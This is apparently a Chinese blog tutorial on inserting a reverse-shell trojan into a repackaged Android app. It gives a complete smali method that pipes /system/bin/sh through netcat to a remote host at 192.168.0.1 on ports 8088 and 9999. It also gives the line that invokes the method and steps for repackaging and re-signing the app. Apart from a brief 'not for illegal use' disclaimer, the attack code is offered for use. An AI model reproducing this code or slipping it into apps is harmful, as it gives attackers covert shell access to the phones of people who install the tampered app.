向安卓APK smali源码中植入木马



向安卓APK smali源码中植入木马反弹SHELL的测试代码【请勿用于非法目的,切记!】
在安卓应用程序中植入木马已经不是什么新鲜事情,下面给出一个demo 反弹shell的一个smali源码,可以直接插入到目标应用的smali源码中,其中第一部分为函数体。注意修改其中的.line 行号。建议插入到一个smali文件的末尾,这样行号只要顺着原smali文件的行号增大即可。
然后使用第二部分的源码进行调用。
# virtual methods
.method public getshell()V
.registers 8

.prologue
.line 28
invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;

move-result-object v1

.line 31
.local v1, rt:Ljava/lang/Runtime;
:try_start_4
sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream;

const-string v3, “NC IS OK!!!!”

invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V

.line 34
sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream;

invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;

move-result-object v3

const/4 v4, 0×3

new-array v4, v4, [Ljava/lang/String;

const/4 v5, 0×0

const-string v6, “/system/bin/sh”

aput-object v6, v4, v5


const/4 v5, 0×1

const-string v6, “-c”

aput-object v6, v4, v5

const/4 v5, 0×2

const-string v6, “nc 192.168.0.1 8088|/system/bin/sh|nc 192.168.0.1 9999″

aput-object v6, v4, v5

invoke-virtual {v3, v4}, Ljava/lang/Runtime;->exec([Ljava/lang/String;)Ljava/lang/Process;

move-result-object v3

invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/Object;)V
:try_end_2a
.catch Ljava/io/IOException; {:try_start_4 .. :try_end_2a} :catch_2b

.line 41
:goto_2a
return-void

.line 37
:catch_2b
move-exception v0

.line 39
.local v0, e:Ljava/io/IOException;
invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V

goto :goto_2a
.end method
此处为调用代码,注入插入到一个smali源码程序后就要修改下面的Lcom/example/test/MainActivity为响应的包名和类名,可以参考当前被修改的smali文件上下文进行修改,修改成功后保存并重新打包签名,然后在手机上运行即可。

1
invoke-virtual {p0}, Lcom/example/test/MainActivity;->getshell()V
这个程序会在控制台logcat显示NC IS OK!!的信息方便调试。注意设备需要有装过NC,不过这里有个悖论诶,没有root的设备很少有自带NC的,而root后的设备有很多不装busybox的,也没有NC。所以呢。。具体可用价值,大家自己衡量吧~~